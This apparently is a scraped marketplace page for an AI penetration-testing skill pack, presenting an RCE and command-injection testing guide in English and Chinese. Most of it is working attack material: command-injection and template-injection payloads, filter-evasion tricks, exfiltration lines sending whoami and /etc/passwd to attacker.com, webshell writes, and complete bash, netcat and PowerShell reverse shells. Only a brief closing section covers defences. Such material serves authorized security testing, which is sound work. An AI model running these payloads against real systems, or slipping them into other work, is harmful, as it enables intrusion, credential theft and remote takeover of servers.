원클릭으로
command-injection-testing
RCE testing covering command injection, deserialization, template injection, and code evaluation
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
메뉴
RCE testing covering command injection, deserialization, template injection, and code evaluation
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
SOC 직업 분류 기준
Authorized AI penetration testing assistant for web applications, APIs, and infrastructure. Performs reconnaissance, vulnerability assessment, PoC validation, exploit chaining, and professional reporting. Use when the user asks for pentest, penetration test, security assessment, vulnerability scan, bug bounty research, authorized hacking, SQLi/XSS/IDOR/SSRF testing, API security audit, or exploit validation.
Authorized AI penetration testing for web apps, APIs, cloud, and infrastructure. Full kill-chain methodology with PoC validation, vulnerability chaining, and professional reporting. Triggers on: pentest, penetration test, security assessment, vuln scan, bug bounty, red team, authorized hack, SQL injection test, XSS test, IDOR, SSRF, API security, exploit validation, security audit.
Authorized AI penetration testing assistant — full-spectrum security testing with deep exploitation skills and integrated tooling. Use for web app pentests, API security, vuln validation, PoC development, bug bounty, and security assessments. Triggers on pentest, penetration test, security audit, exploit, SQLi, XSS, IDOR, SSRF.
API安全测试的专业技能和方法论
JWT and OIDC security testing covering token forgery, algorithm confusion, and claim manipulation
AWS cloud security testing covering IAM misconfigurations, S3 exposure, metadata abuse, and privilege escalation paths
| name | command-injection-testing |
| description | RCE testing covering command injection, deserialization, template injection, and code evaluation |
penkit51 AI — professional penetration testing skill pack. Authorized testing only.
Remote code execution leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.
Command Execution
Dynamic Evaluation
Deserialization
Media Pipelines
SSRF Chains
Container Escalation
Unix
;sleep 1, `sleep 1`, || sleep 1Windows
& timeout /t 2 &, ping -n 2 127.0.0.1Start-Sleep -s 2Use interactsh-client -v in the sandbox to mint a unique callback
domain (*.oast.fun); substitute it for attacker.tld below. Each
invocation prints inbound DNS/HTTP hits to stdout in real time.
DNS
nslookup $(whoami).xyz.oast.fun
HTTP
curl https://xyz.oast.fun/$(hostname)
Direct
;id;uname -a;whoami
Encoded
;(id;hostname)|base64
Delimiters and Operators
; | || & && cmd $(cmd) $() ${IFS} newline/tab& | || ^Argument Injection
--output=/tmp/x, --config=)$PATH, ${HOME}, command substitution%TEMP%, !VAR!, PowerShell $(...)Path and Builtin Confusion
/usr/bin/id) vs relying on PATHprintf, getent) when id is filteredsh -c or cmd /c wrappers to reach the shellEvasion
${IFS}, $'\t', <w'h'o'a'm'i, w"h"o"a"m"ia=i;b=d; $a$becho payload | base64 -d | shIEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug
Minimal Probes
Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
Java
.NET
PHP
unserialize() and PHAR metadataPython/Ruby
yaml.load/unsafe_load, MarshalExpression Languages
ImageMagick/GraphicsMagick
push graphic-context
fill 'url(https://x.tld/a"|id>/tmp/o")'
pop graphic-context
Ghostscript
%pipe%id file operatorsExifTool
LaTeX
\write18/--shell-escape, \input piping; pandoc filtersffmpeg
FastCGI
gopher:// to php-fpm (build FPM records to invoke system/exec)Redis
gopher:// write cron/authorized_keys or webrootAdmin Interfaces
Docker
/.dockerenv, /proc/1/cgroupcapsh --print/proc/sys/kernel/core_pattern or mount host with --privilegedKubernetes
/var/run/secrets/kubernetes.io/serviceaccountEncoding Differentials
Binary Alternatives
Privilege Escalation
sudo -l; SUID binaries; capabilities (getcap -r / 2>/dev/null)Persistence
Lateral Movement
ncat -lvnp 4444 (in the sandbox; ncat is the
netcat variant that ships in the image). Pair with a one-shot shell
payload only when OAST + selective reads are insufficient — never
drop a persistent shell when a single targeted command will prove it.RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.
命令注入是一种通过应用程序执行系统命令的漏洞。当应用程序将用户输入直接传递给系统命令时,攻击者可以执行任意命令。本技能提供命令注入的检测、利用和防护方法。
应用程序调用系统命令时,未对用户输入进行充分验证和过滤,导致攻击者可以注入额外的命令。
危险代码示例:
// PHP
system("ping " . $_GET['ip']);
// Python
os.system("ping " + user_input)
// Node.js
child_process.exec("ping " + user_input)
常见功能:
测试命令分隔符:
; # 命令分隔符(Linux/Windows)
& # 后台执行(Linux/Windows)
| # 管道符(Linux/Windows)
&& # 逻辑与(Linux/Windows)
|| # 逻辑或(Linux/Windows)
` # 命令替换(Linux)
$() # 命令替换(Linux)
测试Payload:
127.0.0.1; id
127.0.0.1 && whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1 `whoami`
127.0.0.1 $(whoami)
时间延迟检测:
127.0.0.1; sleep 5
127.0.0.1 && sleep 5
127.0.0.1 | sleep 5
外带数据:
127.0.0.1; curl http://attacker.com/?$(whoami)
127.0.0.1 && wget http://attacker.com/$(cat /etc/passwd)
DNS外带:
127.0.0.1; nslookup $(whoami).attacker.com
Linux:
; id
; whoami
; uname -a
; cat /etc/passwd
; ls -la
Windows:
& whoami
& ipconfig
& type C:\Windows\System32\drivers\etc\hosts
& dir
读取文件:
; cat /etc/passwd
; type C:\Windows\System32\config\sam
; head -n 20 /var/log/apache2/access.log
写入文件:
; echo "<?php phpinfo(); ?>" > /tmp/shell.php
; echo "test" > C:\temp\test.txt
Bash:
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
Netcat:
; nc -e /bin/bash attacker.com 4444
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f
PowerShell:
& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
${IFS}id
${IFS}whoami
$IFS$9id
<>
%09 (Tab)
%20 (Space)
编码绕过:
%3b (;)
%26 (&)
%7c (|)
换行绕过:
%0a (换行)
%0d (回车)
变量拼接:
a=w;b=ho;c=ami;$a$b$c
通配符:
/bin/c?t /etc/passwd
/usr/bin/ca* /etc/passwd
引号绕过:
w'h'o'a'm'i
w"h"o"a"m"i
反斜杠:
w\ho\am\i
Base64编码:
echo "d2hvYW1p" | base64 -d | bash
使用文件:
echo "id" > /tmp/c
sh /tmp/c
使用环境变量:
export x='id';$x
# 基础扫描
python commix.py -u "http://target.com/ping?ip=127.0.0.1"
# 指定注入点
python commix.py -u "http://target.com/ping?ip=INJECT_HERE" --data="ip=INJECT_HERE"
# 获取Shell
python commix.py -u "http://target.com/ping?ip=127.0.0.1" --os-shell
避免命令执行
输入验证
import re
def validate_ip(ip):
pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
if not re.match(pattern, ip):
raise ValueError("Invalid IP")
parts = ip.split('.')
if not all(0 <= int(p) <= 255 for p in parts):
raise ValueError("Invalid IP range")
return ip
参数化命令
import subprocess
# 危险
subprocess.call(['ping', '-c', '1', user_input])
# 安全 - 使用参数列表
subprocess.call(['ping', '-c', '1', validated_ip])
白名单验证
ALLOWED_COMMANDS = ['ping', 'nslookup']
ALLOWED_OPTIONS = {'ping': ['-c', '-n']}
if command not in ALLOWED_COMMANDS:
raise ValueError("Command not allowed")
最小权限
输出过滤
record_vulnerability when running inside the penkit51 platform